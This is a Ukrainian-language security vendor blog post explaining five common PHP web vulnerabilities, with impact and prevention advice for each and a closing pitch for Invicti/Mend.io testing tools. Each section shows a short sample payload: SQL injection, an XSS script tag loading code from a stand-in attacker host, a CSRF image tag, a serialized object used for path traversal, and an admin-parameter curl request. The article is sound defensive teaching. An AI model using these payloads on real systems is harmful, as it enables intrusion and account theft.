Авторка: Катерина Іваненко, Invicti Brand Manager
Ми підготували практичний огляд 5 найчастіших вразливостей вебсайтів на мові PHP, короткий приклад, їх вплив, і як запобігти цим недолікам безпеки.
Увага: приклади наведені виключно для розуміння фахівцями з безпеки специфіки даних атак, стаття жодним чином не закликає до зловмисних дій.
1. SQL-ін’єкція
Що це: втручання в базу даних за допомогою зловмисних запитів.
Приклад шкідливого SQL-запиту:
SELECT * FROM users WHERE username = '' OR 1=1;-- AND password = ''Вплив: може призвести до різних наслідків, включаючи доступ зловмисника до даних і їх витік, повне видалення таблиць і втрати контролю над БД.
Як запобігти: використання параметризованих запитів або підготовлених операторів (головна найкраща практика), перевірка вхідних даних, мінімізація привілеїв доступу в БД, детальне виведення помилок має бути лише в логах.
Більш детальну інформацію про SQL-ін’єкцію можна прочитати в цих статтях: про її типи, причини, і розгорнуто про її запобігання конкретно для вебсайтів на мові PHP.
2. Міжсайтовий скриптинг (XSS)
Що це: впровадження зловмисних команд в легітимний код на стороні клієнта (зазвичай JavaScript), що виконується браузером користувача.
Приклад:
<script src=http://attacker.example.com/xss.js></script>Вплив: великий спектр наслідків, у тому числі викрадення сесії, крадіжка даних, захоплення облікового запису та перенаправлення на шкідливі сайти.
Як запобігти: встановлення заголовків безпеки Content Security Policy (CSP), очищення вхідних даних користувача, екранування/кодування вихідних даних.
Для перевірки своїх навичок ручного тестування на наявність XSS, можна звернути увагу на статтю про вразливі тестові сайти для цієї мети.
3. Підробка міжсайтових запитів (CSRF)
Що це: вебвразливість, яка дозволяє зловмиснику обманом змусити ціль надіслати запит, що дозволяє йому виконувати дії в її акаунті.
Приклад (CSRF на основі GET-запитів, де використовується тег image на шкідливій сторінці):
<img src="http://example.com/bank.php/?action=transfer&target=attacker_account">Вплив: транзакції та інші небажані дії з облікового користувача цілі, повна компрометація вебдодатка при захопленні акаунта адміністратора.
Як запобігти: використання анти-CSRF токенів, додатково застосування файлів cookie з атрибутом SameSite.
Рекомендуємо ознайомитися з різницею між CSRF та XSS, а також з детальним гайдом з використання анти-CSRF токенів.
4. PHP Object Injection
Що це: експлуатація того, що виклик функції unserialize() з неочищеними вхідними даними користувача може бути використаним для впровадження PHP-об’єктів у пам’ять.
Залежно від контексту, ця вразливість може допомогти виконати ін’єкцію коду, SQL-ін’єкцію, обхід каталогу (Path Traversal) та DoS.
Приклад (видалення довільного файлу за допомогою атаки обходу каталогу шляхом експлуатації вразливого методу класу PHP):
http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}Вплив: різні наслідки залежно від проведеної атаки та використаної вразливості, від DoS до крадіжки даних.
Як запобігти: уникання застосування функції unserialize() з вхідними даними користувача, натомість слід використовувати JSON-функції.
5. Зламаний контроль доступу (Broken Access Control)
Що це: клас вразливостей, що виникає, коли застосунок неправильно застосовує правила доступу й користувач може отримати підвищені привілеї.
Приклад (отримання адміністративних функцій через параметр запиту):
curl -i "https://target.example/admin?admin=1"Вплив: компрометація застосунку та виконання небажаних дій, що потребують високих привілеїв.
Як запобігти:
- Централізована серверна авторизація та перевірка доступу при кожному запиті
- Відсутність довіри до параметрів клієнта для визначення ролей або прав
- Заборона на масове призначення чутливих полів (is_admin, role, permissions)
- Захист адміністративних маршрутів через політики та контроль доступу на основі атрибутів або ролей
Як виявити ці вразливості у вебдодатках на PHP?
Навіть якісно запобігаючи даним вразливостям, без тестування безпеки неможливо бути певним, що вебсайт дійсно захищений.
Постає питання: якими методами можна зробити перевірку на ці вразливості?
На ранніх етапах розробки вебсайту слід застосовувати SAST, тобто статичний аналіз, щоб вже на початку проєкту дбати про його безпеку. Наприклад, це може бути SAST від Mend.io.
Далі варто впроваджувати DAST (динамічне тестування безпеки додатків), на більш пізніх стадіях розробки, в середовищі тестування та для продакшну. Він зможе знайти, і якщо це Invicti (на основі Netsparker та Acunetix), то ще й підтвердити існування реальних вразливостей під час виконання програми.
Найкращою практикою є поєднання цих методів для максимальної ефективності.
Якщо ви хотіли б безкоштовно протестувати Invicti та Mend.io, які безшовно інтегруються в єдину AppSec-платформу для управління вразливостями, то, будь ласка, залиште ваші контакти у формі нижче:
Запит на безкоштовне тестування Invicti/Mend.io
Залиште контакти і ми з вами зв’яжемось
